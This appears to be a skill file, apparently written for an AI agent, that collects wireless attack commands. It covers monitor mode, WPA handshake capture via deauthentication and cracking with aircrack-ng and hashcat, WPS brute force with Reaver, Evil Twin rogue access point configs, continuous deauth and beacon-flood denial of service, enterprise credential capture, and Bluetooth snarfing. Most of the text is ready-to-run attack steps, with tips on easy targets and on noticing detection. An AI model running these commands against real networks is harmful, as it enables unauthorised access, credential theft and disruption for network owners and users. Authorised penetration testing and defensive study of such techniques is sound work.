| name | attacking-wireless-networks |
| description | Attack WiFi networks using WPA/WPA2 cracking, WPS exploitation, Evil Twin attacks, deauthentication, and wireless reconnaissance. Use when pentesting wireless networks or performing WiFi security assessments. |
Attacking Wireless Networks
When to Use
- WiFi penetration testing
- Wireless network security assessment
- WPA/WPA2/WPA3 cracking
- Evil Twin and rogue AP attacks
- Wireless reconnaissance
Setup and Tools
Enable Monitor Mode:
iwconfig
iw dev
airmon-ng start wlan0
ip link set wlan0 down
iw wlan0 set monitor none
ip link set wlan0 up
airmon-ng check kill
Essential Tools:
- aircrack-ng suite
- Wireshark
- Kismet
- Reaver/Bully (WPS)
- Wifite (automated)
- hcxtools/hcxdumptool
- Fluxion (Evil Twin)
WiFi Reconnaissance
Network Discovery:
airodump-ng wlan0mon
airodump-ng -c 6 wlan0mon
airodump-ng -w capture wlan0mon
airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture wlan0mon
Kismet:
kismet
kismet_server
kismet_client
http://localhost:2501
WPA/WPA2 Attacks
Capture Handshake
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF -c CLIENT:MAC wlan0mon
aircrack-ng capture-01.cap
Crack Handshake
Aircrack-ng:
aircrack-ng -w wordlist.txt -b AA:BB:CC:DD:EE:FF capture-01.cap
aircrack-ng -w wordlist.txt -e "NetworkName" capture-01.cap
Hashcat:
hcxpcapngtool -o hash.hc22000 capture-01.cap
hashcat -m 22000 hash.hc22000 wordlist.txt
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/best64.rule
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
John the Ripper:
hccap2john capture-01.cap > hash.john
john --wordlist=wordlist.txt hash.john
WPS Attacks
WPS Brute Force (Reaver)
wash -i wlan0mon
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -d 5
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K
Bully (Alternative)
bully -b AA:BB:CC:DD:EE:FF -c 6 wlan0mon
bully -b AA:BB:CC:DD:EE:FF -c 6 wlan0mon -d
Evil Twin Attacks
Fluxion
./fluxion.sh
Manual Evil Twin
hostapd rogue_ap.conf
interface=wlan0mon
driver=nl80211
ssid=FreeWiFi
channel=6
hw_mode=g
dnsmasq -C dnsmasq.conf
interface=wlan0mon
dhcp-range=10.0.0.10,10.0.0.100,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
WPA3 Attacks
Dragonblood
Brute Force SAE
hashcat -m 22000 hash.hc22000 wordlist.txt
Denial of Service
Deauthentication Attack
aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF -c CLIENT:MAC wlan0mon
mdk3 wlan0mon d -c 6
Beacon Flooding
mdk3 wlan0mon b -f fake_aps.txt
mdk3 wlan0mon b -n "FakeAP" -m -s 1000
Automated Tools
Wifite
wifite
wifite --wpa
wifite --wps
wifite -b AA:BB:CC:DD:EE:FF
wifite --dict wordlist.txt
WiFi-Pumpkin (Rogue AP Framework)
wifi-pumpkin
Enterprise WiFi (WPA-Enterprise)
EAP-TLS/PEAP Attacks
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w eap_capture wlan0mon
tshark -r eap_capture-01.cap -Y "eap"
hostapd-wpe wpe.conf
asleap -r capture.dump -w wordlist.txt
Packet Injection Testing
aireplay-ng --test wlan0mon
aireplay-ng --fakeauth 0 -a AA:BB:CC:DD:EE:FF -h YOUR:MAC wlan0mon
aireplay-ng --arpreplay -b AA:BB:CC:DD:EE:FF -h YOUR:MAC wlan0mon
Hidden SSID Discovery
airodump-ng wlan0mon
mdk3 wlan0mon p -t AA:BB:CC:DD:EE:FF
aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon
Bluetooth Attacks
Discovery
hcitool scan
hcitool info AA:BB:CC:DD:EE:FF
sdptool browse AA:BB:CC:DD:EE:FF
BluetoothHunting
bluesnarfer -b AA:BB:CC:DD:EE:FF
echo "Message" | bluejack AA:BB:CC:DD:EE:FF
crackle -i hci0 -o pin.txt
Quick WiFi Pentest Workflow
- Monitor Mode - Enable monitor mode on wireless adapter
- Reconnaissance - Scan for networks (airodump-ng/kismet)
- Target Selection - Choose network (WPS-enabled for easy win)
- Handshake Capture - Deauth clients and capture 4-way handshake
- Cracking - Crack with hashcat/aircrack-ng
- Post-Exploitation - Connect and perform MITM/sniffing
Common Wins
- WPS-enabled routers - Often crackable in minutes with Reaver
- Weak passwords - Common WiFi passwords in rockyou.txt
- WPA2 Transition Mode - Allows downgrade attacks
- Open guest networks - No authentication required
- Misconfigured Enterprise - Weak RADIUS authentication
Defense Detection
- Wireless IDS (WIDS) may detect:
- Deauthentication attacks
- Rogue access points
- Evil Twin attacks
- WPS brute force attempts
- Be aware of monitoring and physical security
References